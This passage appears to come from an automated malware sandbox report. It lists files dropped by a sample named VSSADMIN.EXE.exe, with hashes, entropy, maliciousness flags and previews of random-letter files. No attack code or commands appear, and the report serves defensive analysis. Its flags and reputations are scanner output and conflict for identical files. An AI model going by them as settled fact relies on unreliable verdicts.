SSDEEP:	98304:9jzHqdVfB2GyuT/9vUIdD9C+z3zO917vOTh+ezsNh75S2zh/hQqIvmJ1YPFlVtqU:9PQsGbT/9bvLz3S1bA32zOqxYPdH
MD5:	B8E16B93BE678043EC587EC1C759C2DE
SHA1:	A8C98BA05AC710A92C4DF15956F81CF81073746F
SHA-256:	15DD97919EBCB246ADD4FC9E9B201BDD67DA510C79F8D89CB4EDC7FBF64858FA
SHA-512:	43728E686D684998E6E80344E7A0F05CAA106262CEBC5B5815619B74EA7856DAB13B2954085E188D7EC3B96581390D86A4D4BEF13C3FDA9FD26844A9494D571F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........r...r...r...q...r...w.'.r...v...r.<.....r.<.w...r.<.v...r.<.q...r...s...r...s...r...v...r...p...r.Rich..r.........................PE..d...qm.e.........."....$............@..........@......................................p...`....................................................x.... ..LK....... ...{p.H$...p..X...................................@...@............................................text...0........................... ..`.rdata...*.......,..................@..@.data...............................@....pdata... ......."..................@..@_RDATA..\...........................@..@.rsrc...LK... ...L..................@..@.reloc..X....p.......8..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1104
Entropy (8bit):	5.27634052513024
Encrypted:	false
SSDEEP:	24:3qPpQdo4KAxX5qRP6hTpsFL9t3UqKaBMKk9LC:6Pei4nqRSXsFL9tkqpBMN9+
MD5:	519FAAF473483468B40797D69DC21C2F
SHA1:	A9924A714FFBC72D28B3B9B7D4620FFF1C1252B0
SHA-256:	96ED4EEF199ED8B5602E4F74C1B0BDF0B313F1C54735A1FC07287FEA1AABBB98
SHA-512:	6D48FBB8068717FE3CB48730053BE2A518310E87347671BAF1D6E5DA5791F093320869F54DF769CEC9587F586A143DB5C9ACE1E10D41F53015E8CC2EF6B3BFE0
Malicious:	false
Reputation:	low
Preview:	@...e.................................2.........................8....................@.Z:.h...........System.Numerics.H...............<@.^.L."My...:...... .Microsoft.PowerShell.ConsoleHost0................UW...F.}.A..x........System..4...............A{....L..-............System.Core.D...............fZve...F.....x.)........System.Management.AutomationL...............7.....J@......~.......#.Microsoft.Management.Infrastructure.<.....................N...>m..>........System.Management...@...............$TRE..&D.#.t.c%A........System.DirectoryServices4................ .v'#-N....M..d........System.Xml..4...............A.....A....'.b.........System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<..................ASG...M-.?.........System.Transactions.<.................hr..B.....w.O........System.ConfigurationP...............-K..s.F...]`.,......(.Microsoft.PowerShell.Commands.ManagementD.....................G..H.).7.........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Reputation:	low
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Reputation:	low
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\KATAXZVCPS.mp3

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Reputation:	low
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\KZWFNRXYKI.mp3

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.694982189683734
Encrypted:	false
SSDEEP:	24:MggAXr5945qa/jgwHvsjCIShLGmTSIp/6co4rHg+X:MgJXr5+pjBsUhJTSIGA
MD5:	E49F84B05A175C231342E6B705A24A44
SHA1:	41B4E74B5F82D72435DFF38DD1B8B6026691CB4E
SHA-256:	EE0E867E83FE0206F33F009F216D2986AE3903B6F8944FBE2CC36586E5844626
SHA-512:	84E29127671A2D2539F2E340C3465736F68C5545A256F9C2813B6BF955645A629FD80BCFF7CEC902F07492C1E40C0794C2D3A906DD402BACA5E647BDFA2B88AA
Malicious:	false
Reputation:	low
Preview:	KZWFNRXYKIQQDFEFEKFUFTLSCHHVHHFJVLINSSPODUWFGYCFXENRRFQZQNVRFJLXTKRPVZFZUDBIVIHPJCTZSMJNOWNCQAPYYHLTMHJJYECMUWUKYXMYBEVYHAFCNHVTPHXQKEQMWLDZKOKDMDUORJRRWKHVJLZNSFERFDAFUHPRYSOCWFZCHPEXICNDGFOZLLLNASUKYIOHUBCGSHVHTAAMQFTBUNSBDIPJOCUDVCBYOUPDCATAMJESONSVVDFARQOQHDTKDRVDWNHMPSWQTCDBOSQIMASLDMFOKOIPUFJNASKNMQOVCYYFVCKNWJBVIBCWMYJGLWMAZWJABPWRYFHPZVZTRFLFKJIVQMYASPFSBODYXKEEFHBTFSHZEWSGAGGMSRRYSACIWVPBTHVGVVYONDRAYVOWBYTTLWWPGWQAJDLYFDALUZCIBUOEBMSCKJILYNBNADCKXDVTLOFEMKULPCSYYTTPBZKLBPMPEQZHPJCMRWISRYUKSYBUOCFXUPORADUTYINWCOLTVNYNBVHTATWIAMJBNCYZTMQLJOZXQMVQWJAGLZBDTPNMMKABCUCOYDSRVMYDKVJFRZRLIKSQNEMHUWIXWIACERSGEBQFEQJLXFLCITYZWKHIASCUIPVHOXQGWHFWSXEHOMVVXNFDEKOTOBBAEPJTBOCEJGWYSJBHWDRPPONMLWEDWWLGQVWLLREHLEZFZNEDNRDQMBTZWCUIFLPBHTTQGIEVFRJKMYLHMYUOCAAUGIRMYSCUPKJDFUJBVKKJHICSXHPXWUGXGPHCKBZLZXDCKURFIMZGIDDJWPBHEERWPLLCNTTKZRNYIMGHNYECXBHHHWCVILLPFPVXYOQODPYIIVKTOODIUKCMBBWHUEFORQUJCVYVBOBKKLPQJMOJEUOFUFAAJRTAZTXJJQPOORSRNCQDMHWVYQIGGCMZGYMXIBAKRNOPIPQWJHZEWBBJTYBESJTCCPYZHONYNVOXCBHCXRST

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	true
Reputation:	low
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	true
Reputation:	low
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\ONBQCLYSPU.pdf

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Reputation:	low
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\UMMBDNEQBN.png

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Reputation:	low
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Reputation:	low
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\Temp\ ? ? ? ?\Common Files\Desktop\VLZDGUKUTZ.jpg

Download File

Process:	C:\Users\user\Desktop\VSSADMIN.EXE.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Reputation:	low
